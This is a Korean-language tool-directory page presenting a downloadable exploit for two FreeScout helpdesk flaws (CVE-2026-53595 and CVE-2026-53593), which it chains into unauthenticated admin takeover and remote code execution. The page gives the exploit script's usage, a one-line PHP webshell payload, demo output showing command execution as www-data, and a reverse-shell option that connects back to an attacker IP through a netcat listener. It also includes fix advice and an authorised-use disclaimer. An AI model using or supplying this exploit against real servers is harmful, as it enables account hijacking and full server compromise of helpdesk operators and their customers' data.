Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/0xdak/cve-2026-53595_exploit
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationRed Teaming
GitHub0xdak/cve-2026-53595_exploit

CVE-2026-53595_exploit

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-53595 (+ CVE-2026-53593) — FreeScout 익명 ATO → RCE

FreeScout ≤ 1.8.223(Laravel 기반 헬프데스크)에서 두 가지 결함을 연쇄적으로 이용하는 인증되지 않은 원격 코드 실행(RCE) — 두 결함 모두 1.8.224에서 수정되었습니다:

  • CVE-2026-53595 — 익명 계정 탈취(ATO). POST /user-setup/{hash}/{invite_sent_at} 요청은 invite_hash 열만으로 계정을 선택합니다. 활성화된 사용자는 invite_hash = '' 값을 가지며, MySQL/MariaDB에서 VARCHAR 동등 비교는 후행 공백을 무시하므로 hash = %20이 관리자와 일치합니다. invite_sent_at 만료 검사는 사용자 비밀번호를 키로 사용하여 값을 복호화하지만, 복호화 헬퍼는 실패 시 원시 입력을 반환하므로(빈 catch), 평문 현재 유닉스 타임스탬프가 허용됩니다. 그런 다음 이 엔드포인트는 계정의 이메일과 비밀번호를 덮어쓰고 로그인을 수행합니다.
  • CVE-2026-53593 — 인증된 .pht 업로드. 업로드 차단 목록(php.*|sh|pl|phtml|phar)은 .pht를 포함하지 않으며, Apache mod_php가 이를 PHP로 실행합니다.

이를 연쇄적으로 이용하면 인증되지 않은 공격자가 웹 서버 사용자(www-data) 권한으로 코드 실행을 수행할 수 있습니다.

동작 방식

  1. GET /user-setup/%20/<unix_ts>을(를) 사용해 세션 쿠키와 CSRF 토큰을 획득합니다.
  2. 동일한 URL에 POST하여 관리자의 이메일/비밀번호를 덮어쓰고 로그인합니다(ATO).
  3. POST /uploads/upload로 shell.pht(<?php system($_GET['c']); ?>)를 업로드합니다.
  4. 웹셸을 통해 명령을 실행하거나, 리버스 셸을 엽니다.

사용법

root@kitploit:~
./exploit.sh -t <target> [options]
   -t, --target URL     target base URL (e.g. http://10.10.10.10)   [required]
   -c, --cmd CMD        run a single command (default: id)
       --lhost IP       reverse shell: attacker IP (start nc first)
       --lport PORT     reverse shell port (default 4444)
       --email ADDR     email to set on the seized admin (default [email protected])
       --password PASS  password to set (default Pwned12345)
   -h, --help

데모

root@kitploit:~
$ ./exploit.sh -t http://10.10.10.10
[*] fetching setup form (hash=%20, ts=1784500000) ...
[*] seizing admin -> [email protected] / Pwned12345 ...
[+] admin account taken over (you can also log in at http://10.10.10.10/login)
[*] uploading .pht webshell ...
[+] webshell: http://10.10.10.10/storage/uploads/p2Bj81XDu6DbBJ4Sq5mYW05zY.pht
[+] id -> uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ ./exploit.sh -t http://10.10.10.10 -c 'cat /var/www/local.txt'
...
[+] cat /var/www/local.txt -> f1a7c30e9b6d24851e6d24851f1a7c30

# reverse shell (run `nc -lvnp 4444` first)
$ ./exploit.sh -t http://10.10.10.10 --lhost 10.10.14.7 --lport 4444
[+] admin account taken over ...
[+] webshell: http://10.10.10.10/storage/uploads/....pht
[*] sending reverse shell to 10.10.14.7:4444 ...
[+] payload sent — check your listener.

요구 사항

  • bash, curl, jq

참고 사항

  • FreeScout 1.0.x – 1.8.223에서 동작합니다. 1.8.224+에서 두 버그가 모두 수정되었습니다(302가 실패한 탈취로 바뀝니다).
  • RCE는 www-data(Apache 사용자) 권한으로 실행됩니다. .pht 실행은 서버가 mod_php를 통해 .pht를 처리하는 환경에 따라 달라집니다 — CVE가 대상으로 하는 "표준 Apache + libapache2-mod-php" 환경입니다.
  • 리버스 셸은 웹셸에 도달하기 전에 base64로 인코딩됩니다. system()은 /bin/sh(Debian/Ubuntu의 dash)를 통해 실행되는데, 이는 bash 전용 >& /dev/tcp/... 리다이렉트를 이해하지 못합니다. base64는 또한 모든 따옴표 관련 문제를 피해 갑니다.
  • 기본 비밀번호에는 의도적으로 !이 없습니다 — !는 대화형 bash/zsh에서 히스토리 확장을 유발하여 붙여넣은 명령을 망가뜨립니다.

해결 방법

  • FreeScout **1.8.224+**로 업그레이드하세요.
  • 보안 토큰에 VARCHAR 동등 비교를 절대 사용하지 마세요(후행 공백 충돌). 또한 실패한 복호화를 유효한 값으로 취급하지 마세요 — 빈 토큰이나 잘못된 토큰은 거부하세요.
  • 업로드 허용 목록을 사용하고, 업로드 파일을 웹 루트 외부에 저장하며, 이를 절대 실행하지 않는 핸들러를 통해 제공하세요.

면책 조항

승인된 보안 테스트 및 교육 목적으로만 사용하세요. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에는 사용하지 마세요. 저자는 오용에 대한 어떠한 책임도 지지 않습니다.

도구 다운로드